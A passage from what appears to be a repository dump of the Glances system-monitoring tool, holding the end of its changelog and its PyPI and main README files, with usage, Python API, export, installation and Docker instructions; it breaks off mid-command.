Microsoft Windows compatible (thk to @fraoustin)\n* Update documentation and Wiki regarding the API\n* Added package name for python sources/headers in openSUSE/SLES/SLED\n* Add FreeBSD packager\n* Bugs corrected\n\nVersion 1.7.1\n=============\n\n* Fix IoWait error on FreeBSD / Mac OS\n* HDDTemp module is now Python v3 compatible\n* Don't warn a process is not running if countmin=0\n* Add PyPI badge on the README.rst\n* Update documentation\n* Add document structure for http://readthedocs.org\n\nVersion 1.7\n===========\n\n* Add monitored processes list\n* Add hard disk temperature monitoring (thanks to the HDDtemp daemon)\n* Add batteries capacities information (thanks to the Batinfo lib)\n* Add command line argument -r toggles processes (reduce CPU usage)\n* Add command line argument -1 to run Glances in per CPU mode\n* Platform/architecture is more specific now\n* XML-RPC server: Add IPv6 support for the client/server mode\n* Add support for local conf file\n* Add a uninstall script\n* Add getNetTimeSinceLastUpdate() getDiskTimeSinceLastUpdate() and getProcessDiskTimeSinceLastUpdate() in the API\n* Add more translation: Italien, Chinese\n* and last but not least... up to 100 hundred bugs corrected / software and\n* docs improvements\n\nVersion 1.6.1\n=============\n\n* Add per-user settings (configuration file) support\n* Add -z/--nobold option for better appearance under Solarized terminal\n* Key 'u' shows cumulative net traffic\n* Work in improving autoUnit\n* Take into account the number of core in the CPU process limit\n* API improvement add time_since_update for disk, process_disk and network\n* Improve help display\n* Add more dummy FS to the ignore list\n* Code refactory: psutil < 0.4.1 is deprecated (Thk to Alessio)\n* Correct a bug on the CPU process limit\n* Fix crash bug when specifying custom server port\n* Add Debian style init script for the Glances server\n\nVersion 1.6\n===========\n\n* Configuration file: user can defines limits\n* In client/server mode, limits are set by the server side\n* Display limits in the help screen\n* Add per process IO (read and write) rate in B per second\n      IO rate only available on Linux from a root account\n* If CPU iowait alert then sort by processes by IO rate\n* Per CPU display IOwait (if data is available)\n* Add password for the client/server mode (-P password)\n* Process column style auto (underline) or manual (bold)\n* Display a sort indicator (is space is available)\n* Change the table key in the help screen\n\nVersion 1.5.2\n=============\n\n* Add sensors module (enable it with -e option)\n* Improve CPU stats (IO wait, Nice, IRQ)\n* More stats in lower space (yes it's possible)\n* Refactor processes list and count (lower CPU/MEM footprint)\n* Add functions to the RCP method\n* Completed unit test\n* and fixes...\n\nVersion 1.5.1\n=============\n\n* Patch for psutil 0.4 compatibility\n* Test psutil version before running Glances\n\nVersion 1.5\n===========\n\n* Add a client/server mode (XMLRPC) for remote monitoring\n* Correct a bug on process IO with non root users\n* Add 'w' shortkey to delete finished warning message\n* Add 'x' shortkey to delete finished warning/critical message\n* Bugs correction\n* Code optimization\n\nVersion 1.4.2.2\n===============\n\n* Add switch between bit/sec and byte/sec for network IO\n* Add Changelog (generated with gitchangelog)\n\nVersion 1.4.2.1\n===============\n\n* Minor patch to solve memomy issue (#94) on Mac OS X\n\nVersion 1.4.2\n=============\n\n* Use the new virtual_memory() and virtual_swap() fct (psutil)\n* Display \"Top process\" in logs\n* Minor patch on man page for Debian packaging\n* Code optimization (less try and except)\n\nVersion 1.4.1.1\n===============\n\n* Minor patch to disable Process IO for OS X (not available in psutil)\n\nVersion 1.4.1\n=============\n\n* Per core CPU stats (if space is available)\n* Add Process IO Read/Write information (if space is available)\n* Uniformize units\n\nVersion 1.4\n===========\n\n* Goodby StatGrab... Welcome to the psutil library !\n* No more autotools, use setup.py to install (or package)\n* Only major stats (CPU, Load and memory) use background colors\n* Improve operating system name detection\n* New system info: one-line layout and add Arch Linux support\n* No decimal places for values < GB\n* New memory and swap layout\n* Add percentage of usage for both memory and swap\n* Add MEM% usage, NICE, STATUS, UID, PID and running TIME per process\n* Add sort by MEM% ('m' key)\n* Add sort by Process name ('p' key)\n* Multiple minor fixes, changes and improvements\n* Disable Disk IO module from the command line (-d)\n* Disable Mount module from the command line (-m)\n* Disable Net rate module from the command line (-n)\n* Improved FreeBSD support\n* Cleaning code and style\n* Code is now checked with pep8\n* CSV and HTML output (experimental functions, no yet documentation)\n\nVersion 1.3.7\n=============\n\n* Display (if terminal space is available) an alerts history (logs)\n* Add a limits class to manage stats limits\n* Manage black and white console (issue #31)\n\nVersion 1.3.6\n=============\n\n* Add control before libs import\n* Change static Python path (issue #20)\n* Correct a bug with a network interface disaippear (issue #27)\n* Add French and Spanish translation (thx to Jean Bob)\n\nVersion 1.3.5\n=============\n\n* Add an help panel when Glances is running (key: 'h')\n* Add keys descriptions in the syntax (--help | -h)\n\nVersion 1.3.4\n=============\n\n* New key: 'n' to enable/disable network stats\n* New key: 'd' to enable/disable disk IO stats\n* New key: 'f' to enable/disable FS stats\n* Reorganised the screen when stat are not available|disable\n* Force Glances to use the enmbeded fs stats (issue #16)\n\nVersion 1.3.3\n=============\n\n* Automatically switch between process short and long name\n* Center the host / system information\n* Always put the hour/date in the bottom/right\n* Correct a bug if there is a lot of Disk/IO\n* Add control about available libstatgrab functions\n\nVersion 1.3.2\n=============\n\n* Add alert for network bit rate°\n* Change the caption\n* Optimised net, disk IO and fs display (share the space)\n      Disable on Ubuntu because the libstatgrab return a zero value\n      for the network interface speed.\n\nVersion 1.3.1\n=============\n\n* Add alert on load (depend on number of CPU core)\n* Fix bug when the FS list is very long\n\nVersion 1.3\n===========\n\n* Add file system stats (total and used space)\n* Adapt unit dynamically (K, M, G)\n* Add man page (Thanks to Edouard Bourguignon)\n\nVersion 1.2\n===========\n\n* Resize the terminal and the windows are adapted dynamically\n* Refresh screen instantanetly when a key is pressed\n\nVersion 1.1.3\n=============\n\n* Add disk IO monitoring\n* Add caption\n* Correct a bug when computing the bitrate with the option -t\n* Catch CTRL-C before init the screen (Bug #2)\n* Check if mem.total = 0 before division (Bug #1)\n"
  },
  {
    "path": "README-pypi.rst",
    "content": "Glances 🌟\n==========\n\n**Glances** is an open-source system cross-platform monitoring tool.\nIt allows real-time monitoring of various aspects of your system such as\nCPU, memory, disk, network usage etc. It also allows monitoring of running processes,\nlogged in users, temperatures, voltages, fan speeds etc.\nIt also supports container monitoring, it supports different container management\nsystems such as Docker, LXC. The information is presented in an easy to read dashboard\nand can also be used for remote monitoring of systems via a web interface or command\nline interface. It is easy to install and use and can be customized to show only\nthe information that you are interested in.\n\nIn client/server mode, remote monitoring could be done via terminal,\nWeb interface or API (XML-RPC and RESTful).\nStats can also be exported to files or external time/value databases, CSV or direct\noutput to STDOUT.\n\nGlances is written in Python and uses libraries to grab information from\nyour system. It is based on an open architecture where developers can\nadd new plugins or exports modules.\n\nUsage 👋\n========\n\nFor the standalone mode, just run:\n\n.. code-block:: console\n\n    $ glances\n\n.. image:: https://github.com/nicolargo/glances/raw/refs/heads/master/docs/_static/glances-responsive-webdesign.png\n\nFor the Web server mode, run:\n\n.. code-block:: console\n\n    $ glances -w\n\nand enter the URL ``http://<ip>:61208`` in your favorite web browser.\n\nIn this mode, a HTTP/Restful API is exposed, see document `RestfulApi`_ for more details.\n\n.. image:: https://github.com/nicolargo/glances/raw/refs/heads/master/docs/_static/screenshot-web.png\n\nFor the client/server mode (remote monitoring through XML-RPC), run the following command on the server:\n\n.. code-block:: console\n\n    $ glances -s\n\nand this one on the client:\n\n.. code-block:: console\n\n    $ glances -c <ip>\n\nYou can also detect and display all Glances servers available on your\nnetwork (or defined in the configuration file) in TUI:\n\n.. code-block:: console\n\n    $ glances --browser\n\nor WebUI:\n\n.. code-block:: console\n\n    $ glances -w --browser\n\nIt possible to display raw stats on stdout:\n\n.. code-block:: console\n\n    $ glances --stdout cpu.user,mem.used,load\n    cpu.user: 30.7\n    mem.used: 3278204928\n    load: {'cpucore': 4, 'min1': 0.21, 'min5': 0.4, 'min15': 0.27}\n    cpu.user: 3.4\n    mem.used: 3275251712\n    load: {'cpucore': 4, 'min1': 0.19, 'min5': 0.39, 'min15': 0.27}\n    ...\n\nor in a CSV format thanks to the stdout-csv option:\n\n.. code-block:: console\n\n    $ glances --stdout-csv now,cpu.user,mem.used,load\n    now,cpu.user,mem.used,load.cpucore,load.min1,load.min5,load.min15\n    2018-12-08 22:04:20 CEST,7.3,5948149760,4,1.04,0.99,1.04\n    2018-12-08 22:04:23 CEST,5.4,5949136896,4,1.04,0.99,1.04\n    ...\n\nor in a JSON format thanks to the stdout-json option (attribute not supported in this mode in order to have a real JSON object in output):\n\n.. code-block:: console\n\n    $ glances --stdout-json cpu,mem\n    cpu: {\"total\": 29.0, \"user\": 24.7, \"nice\": 0.0, \"system\": 3.8, \"idle\": 71.4, \"iowait\": 0.0, \"irq\": 0.0, \"softirq\": 0.0, \"steal\": 0.0, \"guest\": 0.0, \"guest_nice\": 0.0, \"time_since_update\": 1, \"cpucore\": 4, \"ctx_switches\": 0, \"interrupts\": 0, \"soft_interrupts\": 0, \"syscalls\": 0}\n    mem: {\"total\": 7837949952, \"available\": 2919079936, \"percent\": 62.8, \"used\": 4918870016, \"free\": 2919079936, \"active\": 2841214976, \"inactive\": 3340550144, \"buffers\": 546799616, \"cached\": 3068141568, \"shared\": 788156416}\n    ...\n\nLast but not least, you can use the fetch mode to get a quick look of a machine:\n\n.. code-block:: console\n\n    $ glances --fetch\n\nResults look like this:\n\n.. image:: https://github.com/nicolargo/glances/raw/refs/heads/master/docs/_static/screenshot-fetch.png\n\nUse Glances as a Python library 📚\n==================================\n\nYou can access the Glances API by importing the `glances.api` module and creating an\ninstance of the `GlancesAPI` class. This instance provides access to all Glances plugins\nand their fields. For example, to access the CPU plugin and its total field, you can\nuse the following code:\n\n.. code-block:: python\n\n    >>> from glances import api\n    >>> gl = api.GlancesAPI()\n    >>> gl.cpu\n    {'cpucore': 16,\n     'ctx_switches': 1214157811,\n     'guest': 0.0,\n     'idle': 91.4,\n     'interrupts': 991768733,\n     'iowait': 0.3,\n     'irq': 0.0,\n     'nice': 0.0,\n     'soft_interrupts': 423297898,\n     'steal': 0.0,\n     'syscalls': 0,\n     'system': 5.4,\n     'total': 7.3,\n     'user': 3.0}\n    >>> gl.cpu[\"total\"]\n    7.3\n    >>> gl.mem[\"used\"]\n    12498582144\n    >>> gl.auto_unit(gl.mem[\"used\"])\n    11.6G\n\nIf the stats return a list of items (like network interfaces or processes), you can\naccess them by their name:\n\n.. code-block:: python\n\n    >>> gl.network.keys()\n    ['wlp0s20f3', 'veth33b370c', 'veth19c7711']\n    >>> gl.network[\"wlp0s20f3\"]\n    {'alias': None,\n     'bytes_all': 362,\n     'bytes_all_gauge': 9242285709,\n     'bytes_all_rate_per_sec': 1032.0,\n     'bytes_recv': 210,\n     'bytes_recv_gauge': 7420522678,\n     'bytes_recv_rate_per_sec': 599.0,\n     'bytes_sent': 152,\n     'bytes_sent_gauge': 1821763031,\n     'bytes_sent_rate_per_sec': 433.0,\n     'interface_name': 'wlp0s20f3',\n     'key': 'interface_name',\n     'speed': 0,\n     'time_since_update': 0.3504955768585205}\n\nFor a complete example of how to use Glances as a library, have a look to the `PythonApi`_.\n\nDocumentation 📜\n================\n\nFor complete documentation have a look at the readthedocs_ website.\n\nIf you have any question (after RTFM! and the `FAQ`_), please post it on the official Reddit `forum`_ or in GitHub `Discussions`_.\n\nGateway to other services 🌐\n============================\n\nGlances can export stats to:\n\n- ``CSV`` file\n- ``JSON`` file\n- ``InfluxDB`` server\n- ``Cassandra`` server\n- ``CouchDB`` server\n- ``OpenTSDB`` server\n- ``Prometheus`` server\n- ``StatsD`` server\n- ``ElasticSearch`` server\n- ``PostgreSQL/TimeScale`` server\n- ``RabbitMQ/ActiveMQ`` broker\n- ``ZeroMQ`` broker\n- ``Kafka`` broker\n- ``Riemann`` server\n- ``Graphite`` server\n- ``RESTful`` endpoint\n\nInstallation 🚀\n===============\n\nThere are several methods to test/install Glances on your system. Choose your weapon!\n\nPyPI: Pip, the standard way\n---------------------------\n\nGlances is on ``PyPI``. By using PyPI, you will be using the latest stable version.\n\nTo install Glances, simply use the ``pip`` command line.\n\nWarning: on modern Linux operating systems, you may have an externally-managed-environment\nerror message when you try to use ``pip``. In this case, go to the the PipX section below.\n\n.. code-block:: console\n\n    pip install --user glances\n\n*Note*: Python headers are required to install `psutil`_, a Glances\ndependency. For example, on Debian/Ubuntu **the simplest** is\n``apt install python3-psutil`` or alternatively need to install first\nthe *python-dev* package and gcc (*python-devel* on Fedora/CentOS/RHEL).\nFor Windows, just install psutil from the binary installation file.\n\nBy default, Glances is installed **without** the Web interface dependencies.\nTo install it, use the following command:\n\n.. code-block:: console\n\n    pip install --user 'glances[web]'\n\nFor a full installation (with all features, see features list bellow):\n\n.. code-block:: console\n\n    pip install --user 'glances[all]'\n\nFeatures list:\n\n- all: install dependencies for all features\n- action: install dependencies for action feature\n- browser: install dependencies for Glances centram browser\n- cloud: install dependencies for cloud plugin\n- containers: install dependencies for container plugin\n- export: install dependencies for all exports modules\n- gpu: install dependencies for GPU plugin\n- graph: install dependencies for graph export\n- ip: install dependencies for IP public option\n- raid: install dependencies for RAID plugin\n- sensors: install dependencies for sensors plugin\n- smart: install dependencies for smart plugin\n- snmp: install dependencies for SNMP\n- sparklines: install dependencies for sparklines option\n- web: install dependencies for Webserver (WebUI) and Web API\n- wifi: install dependencies for Wifi plugin\n\nTo upgrade Glances to the latest version:\n\n.. code-block:: console\n\n    pip install --user --upgrade glances\n\nThe current develop branch is published to the test.pypi.org package index.\nIf you want to test the develop version (could be instable), enter:\n\n.. code-block:: console\n\n    pip install --user -i https://test.pypi.org/simple/ Glances\n\nPyPI: PipX, the alternative way\n-------------------------------\n\nInstall PipX on your system (apt install pipx on Ubuntu).\n\nInstall Glances (with all features):\n\n.. code-block:: console\n\n    pipx install 'glances[all]'\n\nThe glances script will be installed in the ~/.local/bin folder.\n\nShell tab completion 🔍\n=======================\n\nGlances 4.3.2 and higher includes shell tab autocompletion thanks to the --print-completion option.\n\nFor example, on a Linux operating system with bash shell:\n\n.. code-block:: console\n\n    $ mkdir -p ${XDG_DATA_HOME:=\"$HOME/.local/share\"}/bash-completion\n    $ glances --print-completion bash > ${XDG_DATA_HOME:=\"$HOME/.local/share\"}/bash-completion/glances\n    $ source ${XDG_DATA_HOME:=\"$HOME/.local/share\"}/bash-completion/glances\n\nFollowing shells are supported: bash, zsh and tcsh.\n\nRequirements 🧩\n===============\n\nGlances is developed in Python. A minimal Python version 3.10 or higher\nshould be installed on your system.\n\n*Note for Python 2 users*\n\nGlances version 4 or higher do not support Python 2 (and Python 3 < 3.10).\nPlease uses Glances version 3.4.x if you need Python 2 support.\n\nDependencies:\n\n- ``psutil`` (better with latest version)\n- ``defusedxml`` (in order to monkey patch xmlrpc)\n- ``packaging`` (for the version comparison)\n- ``windows-curses`` (Windows Curses implementation) [Windows-only]\n- ``shtab`` (Shell autocompletion) [All but Windows]\n- ``jinja2`` (for fetch mode and templating)\n\nExtra dependencies:\n\n- ``batinfo`` (for battery monitoring)\n- ``bernhard`` (for the Riemann export module)\n- ``cassandra-driver`` (for the Cassandra export module)\n- ``chevron`` (for the action script feature)\n- ``docker`` (for the Containers Docker monitoring support)\n- ``elasticsearch`` (for the Elastic Search export module)\n- ``FastAPI`` and ``Uvicorn`` (for Web server mode)\n- ``graphitesender`` (For the Graphite export module)\n- ``hddtemp`` (for HDD temperature monitoring support) [Linux-only]\n- ``influxdb`` (for the InfluxDB version 1 export module)\n- ``influxdb-client``  (for the InfluxDB version 2 export module)\n- ``kafka-python`` (for the Kafka export module)\n- ``nvidia-ml-py`` (for the GPU plugin)\n- ``pycouchdb`` (for the CouchDB export module)\n- ``pika`` (for the RabbitMQ/ActiveMQ export module)\n- ``podman`` (for the Containers Podman monitoring support)\n- ``potsdb`` (for the OpenTSDB export module)\n- ``prometheus_client`` (for the Prometheus export module)\n- ``pylxd`` (for the LXC Containers monitoring support)\n- ``psycopg[binary]`` (for the PostgreSQL/TimeScale export module)\n- ``pygal`` (for the graph export module)\n- ``pymdstat`` (for RAID support) [Linux-only]\n- ``pymongo`` (for the MongoDB export module)\n- ``pysnmp-lextudio`` (for SNMP support)\n- ``pySMART.smartx`` (for HDD Smart support) [Linux-only]\n- ``pyzmq`` (for the ZeroMQ export module)\n- ``requests`` (for the Ports, Cloud plugins and RESTful export module)\n- ``sparklines`` (for the Quick Plugin sparklines option)\n- ``statsd`` (for the StatsD export module)\n- ``wifi`` (for the wifi plugin) [Linux-only]\n- ``zeroconf`` (for the autodiscover mode)\n\nProject sponsorship 🙌\n======================\n\nYou can help me to achieve my goals of improving this open-source project\nor just say \"thank you\" by:\n\n- sponsor me using one-time or monthly tier Github sponsors_ page\n- send me some pieces of bitcoin: 185KN9FCix3svJYp7JQM7hRMfSKyeaJR4X\n- buy me a gift on my wishlist_ page\n\nAny and all contributions are greatly appreciated.\n\nAuthors and Contributors 🔥\n===========================\n\nNicolas Hennion (@nicolargo) <nicolas@nicolargo.com>\n\n.. image:: https://img.shields.io/twitter/url/https/twitter.com/cloudposse.svg?style=social&label=Follow%20%40nicolargo\n    :target: https://twitter.com/nicolargo\n\nLicense 📜\n==========\n\nGlances is distributed under the LGPL version 3 license. See ``COPYING`` for more details.\n\n.. _psutil: https://github.com/giampaolo/psutil\n.. _readthedocs: https://glances.readthedocs.io/\n.. _forum: https://www.reddit.com/r/glances/\n.. _sponsors: https://github.com/sponsors/nicolargo\n.. _wishlist: https://www.amazon.fr/hz/wishlist/ls/BWAAQKWFR3FI?ref_=wl_share\n.. _PythonApi: https://glances.readthedocs.io/en/develop/api/python.html\n.. _RestfulApi: https://glances.readthedocs.io/en/develop/api/restful.html\n.. _FAQ: https://github.com/nicolargo/glances/blob/develop/docs/faq.rst\n.. _Discussions: https://github.com/nicolargo/glances/discussions\n"
  },
  {
    "path": "README.rst",
    "content": ".. raw:: html\n\n   <div align=\"center\">\n\n.. image:: ./docs/_static/glances-responsive-webdesign.png\n\n.. raw:: html\n\n   <h1>Glances</h1>\n\nAn Eye on your System\n\n|  |pypi| |test| |contributors| |quality|\n|  |starts| |docker| |pypistat| |sponsors|\n|  |reddit|\n\n.. |pypi| image:: https://img.shields.io/pypi/v/glances.svg\n    :target: https://pypi.python.org/pypi/Glances\n\n.. |starts| image:: https://img.shields.io/github/stars/nicolargo/glances.svg\n    :target: https://github.com/nicolargo/glances/\n    :alt: Github stars\n\n.. |docker| image:: https://img.shields.io/docker/pulls/nicolargo/glances\n    :target: https://hub.docker.com/r/nicolargo/glances/\n    :alt: Docker pull\n\n.. |pypistat| image:: https://pepy.tech/badge/glances/month\n    :target: https://pepy.tech/project/glances\n    :alt: Pypi downloads\n\n.. |test| image:: https://github.com/nicolargo/glances/actions/workflows/ci.yml/badge.svg?branch=develop\n    :target: https://github.com/nicolargo/glances/actions\n    :alt: Linux tests (GitHub Actions)\n\n.. |contributors| image:: https://img.shields.io/github/contributors/nicolargo/glances\n    :target: https://github.com/nicolargo/glances/issues?q=is%3Aissue+is%3Aopen+label%3A%22needs+contributor%22\n    :alt: Contributors\n\n.. |quality| image:: https://scrutinizer-ci.com/g/nicolargo/glances/badges/quality-score.png?b=develop\n    :target: https://scrutinizer-ci.com/g/nicolargo/glances/?branch=develop\n    :alt: Code quality\n\n.. |sponsors| image:: https://img.shields.io/github/sponsors/nicolargo\n    :target: https://github.com/sponsors/nicolargo\n    :alt: Sponsors\n\n.. |twitter| image:: https://img.shields.io/badge/X-000000?style=for-the-badge&logo=x&logoColor=white\n    :target: https://twitter.com/nicolargo\n    :alt: @nicolargo\n\n.. |reddit| image:: https://img.shields.io/badge/Reddit-FF4500?style=for-the-badge&logo=reddit&logoColor=white\n    :target: https://www.reddit.com/r/glances/\n    :alt: @reddit\n\n.. raw:: html\n\n   </div>\n\nSummary 🌟\n==========\n\n**Glances** is an open-source system cross-platform monitoring tool.\nIt allows real-time monitoring of various aspects of your system such as\nCPU, memory, disk, network usage etc. It also allows monitoring of running processes,\nlogged in users, temperatures, voltages, fan speeds etc.\nIt also supports container monitoring, it supports different container management\nsystems such as Docker, LXC. The information is presented in an easy to read dashboard\nand can also be used for remote monitoring of systems via a web interface or command\nline interface. It is easy to install and use and can be customized to show only\nthe information that you are interested in.\n\nIn client/server mode, remote monitoring could be done via terminal,\nWeb interface or API (XML-RPC and RESTful).\nStats can also be exported to files or external time/value databases, CSV or direct\noutput to STDOUT.\n\nAI assistants (Claude, Cursor, …) can query Glances directly through the built-in\nMCP server (available in Glances 4.5.1 and higher).\n\nGlances is written in Python and uses libraries to grab information from\nyour system. It is based on an open architecture where developers can\nadd new plugins or exports modules.\n\nUsage 👋\n========\n\nFor the standalone mode, just run:\n\n.. code-block:: console\n\n    $ glances\n\n.. image:: ./docs/_static/glances-summary.png\n\nFor the Web server mode, run:\n\n.. code-block:: console\n\n    $ glances -w\n\nand enter the URL ``http://<ip>:61208`` in your favorite web browser.\n\nIn this mode, a HTTP/Restful API is exposed, see document `RestfulApi`_ for more details.\n\n.. image:: ./docs/_static/screenshot-web.png\n\nTo also expose a `MCP (Model Context Protocol)`_ server (for AI assistants), add ``--enable-mcp``:\n\n.. code-block:: console\n\n    $ glances -w --enable-mcp\n\nThe MCP endpoint (SSE transport) is then available at ``http://<ip>:61208/mcp/sse``.\nSee the `McpApi`_ documentation for client configuration and usage.\n\nYou can also detect and display all Glances servers available on your\nnetwork (or defined in the configuration file) in TUI:\n\n.. code-block:: console\n\n    $ glances --browser\n\nor WebUI:\n\n.. code-block:: console\n\n    $ glances -w --browser\n\nIt possible to display raw stats on stdout:\n\n.. code-block:: console\n\n    $ glances --stdout cpu.user,mem.used,load\n    cpu.user: 30.7\n    mem.used: 3278204928\n    load: {'cpucore': 4, 'min1': 0.21, 'min5': 0.4, 'min15': 0.27}\n    cpu.user: 3.4\n    mem.used: 3275251712\n    load: {'cpucore': 4, 'min1': 0.19, 'min5': 0.39, 'min15': 0.27}\n    ...\n\nor in a CSV format thanks to the stdout-csv option:\n\n.. code-block:: console\n\n    $ glances --stdout-csv now,cpu.user,mem.used,load\n    now,cpu.user,mem.used,load.cpucore,load.min1,load.min5,load.min15\n    2018-12-08 22:04:20 CEST,7.3,5948149760,4,1.04,0.99,1.04\n    2018-12-08 22:04:23 CEST,5.4,5949136896,4,1.04,0.99,1.04\n    ...\n\nor in a JSON format thanks to the stdout-json option (attribute not supported in this mode in order to have a real JSON object in output):\n\n.. code-block:: console\n\n    $ glances --stdout-json cpu,mem\n    cpu: {\"total\": 29.0, \"user\": 24.7, \"nice\": 0.0, \"system\": 3.8, \"idle\": 71.4, \"iowait\": 0.0, \"irq\": 0.0, \"softirq\": 0.0, \"steal\": 0.0, \"guest\": 0.0, \"guest_nice\": 0.0, \"time_since_update\": 1, \"cpucore\": 4, \"ctx_switches\": 0, \"interrupts\": 0, \"soft_interrupts\": 0, \"syscalls\": 0}\n    mem: {\"total\": 7837949952, \"available\": 2919079936, \"percent\": 62.8, \"used\": 4918870016, \"free\": 2919079936, \"active\": 2841214976, \"inactive\": 3340550144, \"buffers\": 546799616, \"cached\": 3068141568, \"shared\": 788156416}\n    ...\n\nLast but not least, you can use the fetch mode to get a quick look of a machine:\n\n.. code-block:: console\n\n    $ glances --fetch\n\nResults look like this:\n\n.. image:: ./docs/_static/screenshot-fetch.png\n\nFor the record, Glances also have a XML-RPC client/server mode, run the following command on the server:\n\n.. code-block:: console\n\n    $ glances -s\n\nand this one on the client:\n\n.. code-block:: console\n\n    $ glances -c <ip>\n\nUse Glances as a Python library 📚\n==================================\n\nYou can access the Glances API by importing the `glances.api` module and creating an\ninstance of the `GlancesAPI` class. This instance provides access to all Glances plugins\nand their fields. For example, to access the CPU plugin and its total field, you can\nuse the following code:\n\n.. code-block:: python\n\n    >>> from glances import api\n    >>> gl = api.GlancesAPI()\n    >>> gl.cpu\n    {'cpucore': 16,\n     'ctx_switches': 1214157811,\n     'guest': 0.0,\n     'idle': 91.4,\n     'interrupts': 991768733,\n     'iowait': 0.3,\n     'irq': 0.0,\n     'nice': 0.0,\n     'soft_interrupts': 423297898,\n     'steal': 0.0,\n     'syscalls': 0,\n     'system': 5.4,\n     'total': 7.3,\n     'user': 3.0}\n    >>> gl.cpu.get(\"total\")\n    7.3\n    >>> gl.mem.get(\"used\")\n    12498582144\n    >>> gl.auto_unit(gl.mem.get(\"used\"))\n    11.6G\n\nIf the stats return a list of items (like network interfaces or processes), you can\naccess them by their name:\n\n.. code-block:: python\n\n    >>> gl.network.keys()\n    ['wlp0s20f3', 'veth33b370c', 'veth19c7711']\n    >>> gl.network.get(\"wlp0s20f3\")\n    {'alias': None,\n     'bytes_all': 362,\n     'bytes_all_gauge': 9242285709,\n     'bytes_all_rate_per_sec': 1032.0,\n     'bytes_recv': 210,\n     'bytes_recv_gauge': 7420522678,\n     'bytes_recv_rate_per_sec': 599.0,\n     'bytes_sent': 152,\n     'bytes_sent_gauge': 1821763031,\n     'bytes_sent_rate_per_sec': 433.0,\n     'interface_name': 'wlp0s20f3',\n     'key': 'interface_name',\n     'speed': 0,\n     'time_since_update': 0.3504955768585205}\n\nFor a complete example of how to use Glances as a library, have a look to the `PythonApi`_.\n\nDocumentation 📜\n================\n\nFor complete documentation have a look at the readthedocs_ website.\n\nIf you have any question (after RTFM! and the `FAQ`_), please post it on the official Reddit `forum`_ or in GitHub `Discussions`_.\n\nGateway to other services 🌐\n============================\n\nGlances can export stats to:\n\n- files: ``CSV`` and ``JSON``\n- databases:  ``InfluxDB``, ``ElasticSearch``, ``PostgreSQL/TimeScale``, ``Cassandra``, ``CouchDB``, ``OpenTSDB``, ``Prometheus``, ``StatsD``, ``Riemann`` and ``Graphite``\n- brokers: ``RabbitMQ/ActiveMQ``, ``NATS``, ``ZeroMQ`` and ``Kafka``\n- others: ``RESTful`` endpoint\n\nInstallation 🚀\n===============\n\nThere are several methods to test/install Glances on your system. Choose your weapon!\n\nPyPI: Pip, the standard way\n---------------------------\n\nGlances is on ``PyPI``. By using PyPI, you will be using the latest stable version.\n\nTo install Glances, simply use the ``pip`` command line in an virtual environment.\n\n.. code-block:: console\n\n    cd ~\n    python3 -m venv ~/.venv\n    source ~/.venv/bin/activate\n    pip install glances\n\n*Note*: Python headers are required to install `psutil`_, a Glances\ndependency. For example, on Debian/Ubuntu **the simplest** is\n``apt install python3-psutil`` or alternatively need to install first\nthe *python-dev* package and gcc (*python-devel* on Fedora/CentOS/RHEL).\nFor Windows, just install psutil from the binary installation file.\n\nBy default, Glances is installed **without** the Web interface dependencies.\n\nTo install it, use the following command:\n\n.. code-block:: console\n\n    pip install 'glances[web]'\n\nFor a full installation (with all features, see features list bellow):\n\n.. code-block:: console\n\n    pip install 'glances[all]'\n\nFeatures list:\n\n- all: install dependencies for all features\n- action: install dependencies for action feature\n- browser: install dependencies for Glances centram browser\n- cloud: install dependencies for cloud plugin\n- containers: install dependencies for container plugin\n- export: install dependencies for all exports modules\n- gpu: install dependencies for GPU plugin\n- graph: install dependencies for graph export\n- ip: install dependencies for IP public option\n- mcp: install dependencies for the MCP server (AI assistant integration)\n- raid: install dependencies for RAID plugin\n- sensors: install dependencies for sensors plugin\n- smart: install dependencies for smart plugin\n- snmp: install dependencies for SNMP\n- sparklines: install dependencies for sparklines option\n- web: install dependencies for Webserver (WebUI) and Web API\n- wifi: install dependencies for Wifi plugin\n\nTo upgrade Glances to the latest version:\n\n.. code-block:: console\n\n    pip install --upgrade glances\n\nUVx, the magic way\n------------------\n\nInstall and run directly Glances with the one line:\n\n.. code-block:: console\n\n    uvx glances\n\nNote: `Uv`_ should be installed on your system.\n\nPyPI: PipX, the alternative way\n-------------------------------\n\nInstall PipX on your system. For example on Ubuntu/Debian:\n\n.. code-block:: console\n\n    sudo apt install pipx\n\nThen install Glances (with all features):\n\n.. code-block:: console\n\n    pipx install 'glances[all]'\n\nThe glances script will be installed in the ~/.local/bin folder.\n\nTo upgrade Glances to the latest version:\n\n.. code-block:: console\n\n    pipx upgrade glances\n\nDocker: the cloudy way\n----------------------\n\nGlances Docker images are available. You can use it to monitor your\nserver and all your containers !\n\nThe following tags are available:\n\n- *latest-full* for a full Alpine Glances image (latest release) with all dependencies\n- *latest* for a basic Alpine Glances (latest release) version with minimal dependencies (FastAPI and Docker)\n- *dev* for a basic Alpine Glances image (based on development branch) with all dependencies (Warning: may be instable)\n- *ubuntu-latest-full* for a full Ubuntu Glances image (latest release) with all dependencies\n- *ubuntu-latest* for a basic Ubuntu Glances (latest release) version with minimal dependencies (FastAPI and Docker)\n- *ubuntu-dev* for a basic Ubuntu Glances image (based on development branch) with all dependencies (Warning: may be instable)\n\nRun last version of Glances container in *console mode*:\n\n.. code-block:: console\n\n    docker run --rm -e TZ=\"${TZ}\" -v /var/run/docker.sock:/var/run/docker.sock:ro -v /run/user/1000/podman/podman.sock:/run/user/1000/podman/podman.sock:ro --pid host --network host -it nicolargo/glances:latest-full\n\nBy default, the /etc/glances/glances.conf file is used (based on docker-compose/glances.conf).\n\nAdditionally, if you want to use your own glances.conf file, you can\ncreate your own Dockerfile:\n\n.. code-block:: console\n\n    FROM nicolargo/glances:latest\n    COPY glances.conf /root/.config/glances/glances.conf\n    CMD python -m glances -C /root/.config/glances/glances.conf $GLANCES_OPT\n\nAlternatively, you can specify something along the same lines with\ndocker run options (notice the `GLANCES_OPT` environment\nvariable setting parameters for the glances startup command):\n\n.. code-block:: console\n\n    docker run -e TZ=\"${TZ}\" -v $HOME/.config/glances/glances.conf:/glances.conf:ro -v /var/run/docker.sock:/var/run/docker.sock:ro -v /run/user/1000/podman/podman.sock:/run/user/1000/podman/podman.sock:ro --pid host -e GLANCES_OPT=\"-C /glances.conf\" -it nicolargo/glances:latest-full\n\nWhere $HOME/.config/glances/glances.conf is a local directory containing your glances.conf file.\n\nRun the container in *Web server mode*:\n\n.. code-block:: console\n\n    docker run -d --restart=\"always\" -p 61208-61209:61208-61209 -e TZ=\"${TZ}\" -e GLANCES_OPT=\"-w\" -v /var/run/docker.sock:/var/run/docker.sock:ro -v 